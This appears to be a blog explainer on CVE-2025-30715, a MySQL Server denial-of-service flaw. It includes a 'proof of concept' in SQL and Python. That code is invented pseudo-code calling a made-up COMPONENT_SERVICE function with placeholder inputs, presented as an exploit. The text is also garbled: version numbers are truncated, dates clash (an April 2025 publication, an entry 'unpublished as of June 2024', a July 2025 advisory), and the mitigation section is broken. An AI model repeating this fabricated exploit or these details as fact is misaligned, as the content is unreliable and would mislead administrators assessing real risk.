Oracle’s MySQL Server remains one of the world’s most popular database solutions. But cyber threats continue to surface—and the newly disclosed CVE-2025-30715 highlights a denial-of-service (DoS) risk that administrators must address quickly. This vulnerability affects MySQL Server’s Components Services component and, if exploited, allows an authenticated user to crash or hang the entire MySQL server, leading to a full service outage.

In this long read, we’ll explore the details behind CVE-2025-30715, demonstrate a code-level exploit example, discuss real-world impacts, and offer practical advice for detection and mitigation.

What is CVE-2025-30715?

CVE-2025-30715 is a security flaw in the Components Services part of Oracle’s MySQL Server. The vulnerability exists in the following supported versions:

MySQL 9. (9.. through 9.2.)

Attackers must have high privileges (like administrative or super user roles) and network access via one of MySQL’s supported protocols (TCP/IP, for example). However, once authenticated, the attacker can easily cause the MySQL service to hang or crash—resulting in a total denial of service (DoS).

Why Does This Matter?

- Easy to exploit: If a high-privileged user account is compromised (which unfortunately happens often), a remote attacker can crash the service with a single crafted request.
- Service outage: All connections to the MySQL instance suddenly fail. In production, this means downtime for your application or website and possible data loss for connected users.
- Impact scope: This does not allow attackers to steal or change your data, but it does take your MySQL service offline.

CVSS 3.1 Base Score: 4.9 (Availability impacts specific)
- CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H)

How the Vulnerability Works

The flaw lies in the MySQL Server’s handling of certain requests in the Components Services subsystem. A specifically crafted request or query can trigger an unhandled exception, assertion failure, or resource exhaustion scenario—causing a server crash or hang.

Exploit Example: Proof of Concept

Note: This is for educational and defensive purposes only! Never run exploits on production systems.

Suppose a high-privileged user executes a crafted query or uses a malicious stored component/invokes an internal handler via the MySQL protocol to trigger the issue.

Example Exploit (pseudo-code based on public vulnerability patterns)

-- Must be executed as a high-privileged user (e.g., 'root'@'localhost')
-- The vulnerability may be triggered by manipulating a specific COMPONENT
INSTALL COMPONENT 'malicious_component'; -- Malformed input or unexpected parameters

-- Or, if a certain service receives malformed JSON:
SET @bad_json = '{"service":"components","malformed":}';
SELECT COMPONENT_SERVICE(@bad_json);

-- MySQL process now hangs or crashes.

Python Script Illustration (using PyMySQL)

import pymysql

conn = pymysql.connect(
    host='mysql-server-address', user='root', password='YourRootPassword'
)

try:
    with conn.cursor() as cursor:
        # Send a crafted request that triggers the fault in COMPONENTS
        bad_component = "malformed_component"
        cursor.execute(f"INSTALL COMPONENT '{bad_component}';")

        # Or trigger the vulnerable handler (replace with the actual vector per Oracle's advisory)
        cursor.execute("SELECT COMPONENT_SERVICE('{\"service\": \"components\", \"malformed\":}');")
except Exception as e:
    print("Exploit likely triggered:", e)
finally:
    conn.close()

Result: The MySQL Server either crashes with a specific error in mysqld.log or hangs, requiring an admin to restart the server process.

Real-World Consequences

- Downtime for all apps and users: Your web apps, APIs, and dependent systems cannot perform database operations.

Requires manual recovery: Automation can't recover if the process is stuck in a hung state.

- May be exploited as part of a larger attack after an initial breach, as a means to destroy logs or hinder investigation.

MySQL 9.2.1 or newer

- Limit privileged user access: Use network segmentation, firewalls, and least-privilege principles.

Oracle Security Alert for CVE-2025-30715:

Oracle Critical Patch Update Advisory - July 2025

NVD Entry:

NVD - CVE-2025-30715 *(unpublished as of June 2024)*

MySQL Documentation - Components Services:

MySQL Reference - Components

MySQL 8. Release Notes:

MySQL 8. Release Notes

The Bottom Line

While CVE-2025-30715 doesn’t put your data at risk of theft, it *does* allow attackers controlling high-priv privileges to take your MySQL server offline with shocking ease. If you are running a vulnerable version, patch immediately—and audit your privileged accounts. It’s a reminder that even internal subsystems like Components Services can carry real-world risk.


*Stay secure, patch promptly, and monitor your MySQL instances for any unexpected activities!*

Timeline

Published on: 04/15/2025 21:16:01 UTC
Last modified on: 04/16/2025 14:15:25 UTC